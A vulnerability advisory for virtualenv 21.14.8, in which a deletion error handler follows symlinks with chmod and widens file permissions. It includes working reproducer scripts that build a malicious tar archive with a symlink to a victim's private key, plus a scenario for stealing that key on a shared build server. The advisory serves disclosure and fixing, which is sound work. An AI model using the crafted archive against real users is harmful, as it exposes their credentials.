CVE-2026-113724: virtualenv: symlink-following chmod alters file permissions

## Summary The deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows symlinks. On an eligible unlink failure this can change permissions outside the destination. Anthropic's OSS Scanner reported this as `ANT-2026-UK90QC27` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Permission recovery after a filesystem deletion error. ## Attacker-controlled input A deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have permission to change the target mode. This is conditional error handling, not the normal successful unlink path. ## Affected code The relevant 21.14.8 source is in [safe_delete()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py). ## Mechanism `safe_delete()` asks `shutil.rmtree()` to retry a failed removal after adding owner-write permission. Its error handler calls `os.lstat(path)` for mode bits but `os.chmod(path, ...)` to apply them. For a symlink, `lstat` reads the link's mode while `chmod` follows the link. A link inside a read-only directory can therefore cause the target's mode to become `0777` before the retry fails. The target must be owned by the invoking user and initially not writable by that user; root does not reach this failure path. ## Reproduction and evidence The scanner packed a project containing a mode-`0555` `venv/bin/python/` directory and a symlink inside it pointing to the user's mode-`0400` `keys/deploy.pem`. An unprivileged user unpacked it and ran both plain `virtualenv venv` and `virtualenv --clear venv`. Both commands exited with `PermissionError` naming the directory inside `venv`, while the key's mode changed from `0400` to `0777`. A control archive with a writable directory completed normally and left the key at `0400`. The read-only mode survives `tar` or `cp -a`; a normal git clone does not preserve this setup. This changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the widened mode only if it can traverse the target's parent directories. The scanner dates the active error handler to #3222, first released in 21.7.5. [PR #3427](https://github.com/pypa/virtualenv/pull/3427) avoids POSIX mode changes on deletion failure and handles Windows read-only entries without following reparse points. ## Attack sequence ```mermaid sequenceDiagram participant A as Prepared read-only venv tree participant V as safe_delete error handler participant L as Symlink in venv participant K as User's 0400 key A->>V: virtualenv venv or --clear venv V->>L: unlink fails in 0555 directory V->>L: lstat returns link mode 0777 V->>L: chmod follows symlink L->>K: target mode becomes 0777 V-->>A: retry fails with PermissionError Note over K: Other accounts can use new mode if parent paths are traversable ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-UK90QC27`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import stat import subprocess import sys import tempfile from pathlib import Path NOBODY = 65534 work = Path(tempfile.mkdtemp(prefix="repro-safe-delete-")) os.chmod(work, 0o755) os.chown(work, NOBODY, NOBODY) # the attacker's project archive (venv/bin/python read-only), and the same archive with that folder writable make_archive = [sys.executable, "/tmp/repro.d/make_project_archive.py"] subprocess.run([*make_archive, work / "read-only.tar", "555"], check=True) subprocess.run([*make_archive, work / "writable.tar", "755"], check=True) subprocess.run(["tar", "-tvf", work / "read-only.tar"], check=True) # from here on an ordinary user: root's unlink never fails, so safe_delete's error handler would never run os.setgroups([]) os.setgid(NOBODY) os.setuid(NOBODY) os.umask(0o022) def unpack_next_to_key_and_run_virtualenv(label, home_name, archive_name, *options): home = work / home_name archive = work / archive_name key = home / "keys" / "deploy.pem" key.parent.mkdir(parents=True) key.write_text("PRIVATE KEY\n") key.chmod(0o400) subprocess.run(["tar", "-xf", archive], cwd=home, check=True) mode_before = stat.S_IMODE(key.stat().st_mode) command = ["virtualenv", "--no-periodic-update", "-q", *options, "venv"] # HOME is where virtualenv keeps its app-data; nobody's own, /nonexistent, cannot hold it result = subprocess.run( command, cwd=home / "proj", env={**os.environ, "HOME": str(home)}, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, ) mode_after = stat.S_IMODE(key.stat().st_mode) print(f"{label} {archive_name}, `{' '.join(command)}`: exit {result.returncode} {result.stdout.strip()}") print(f"{label} {key} mode {mode_before:#o} -> {mode_after:#o}") return mode_before, mode_after control = unpack_next_to_key_and_run_virtualenv("CONTROL ", "home-control", "writable.tar") default = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-default", "read-only.tar") clear = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-clear", "read-only.tar", "--clear") # check: the key lives outside the destination; virtualenv has no business changing its mode print("BUG" if control == (0o400, 0o400) and default == (0o400, 0o777) and clear == (0o400, 0o777) else "OK") ``` **`repro.d/make_project_archive.py`** ```text #!/usr/bin/env python3 import sys import tarfile archive_path = sys.argv[1] python_folder_mode = int(sys.argv[2], 8) with tarfile.open(archive_path, "w") as archive: python_folder = tarfile.TarInfo("proj/venv/bin/python") python_folder.type = tarfile.DIRTYPE python_folder.mode = python_folder_mode # without the write bit, unlinking an entry inside it fails with EACCES archive.addfile(python_folder) link = tarfile.TarInfo("proj/venv/bin/python/entry") link.type = tarfile.SYMTYPE link.linkname = "../../../../keys/deploy.pem" # the victim's key, beside the unpacked proj/ archive.addfile(link) ``` ## Impact Permission recovery after a failed deletion can change an unrelated target's access bits. This requires the deletion failure to occur on a link and the invoking user to have permission to change the target mode. Severity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review. ## Versions tested The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9. The fix leaves POSIX modes unchanged when deletion fails. Windows read-only recovery uses a native handle that opens the entry itself without following reparse points and denies replacement until the attribute update finishes. It rejects reparse points and clears only the read-only attribute. Concurrent replacement of parent directories remains outside this protection. Fix: [PR #3427](https://github.com/pypa/virtualenv/pull/3427). ## Known mitigation Avoid recursively clearing destinations populated by another account. If cleanup fails, inspect the failing entry before retrying with broader privileges. ## Affected release - [x] The problem reproduces on virtualenv 21.14.8. ## Credits Reported by Anthropic's OSS Scanner as ANT-2026-UK90QC27.

An attacker with a local account on a shared ML build server or CI runner leaves a project archive that contains a read-only (0555) venv/bin/python directory holding a symlink to a victim's ~/keys/deploy.pem. The victim, or an automated job running as the victim, unpacks the archive and runs virtualenv --clear venv. The deletion fails, the error handler follows the symlink and sets the key to 0777. The command ends with PermissionError, so the change goes unnoticed. The attacker then reads the now world-readable key, if the parent directories are traversable, and uses it to reach model registries or cloud training infrastructure.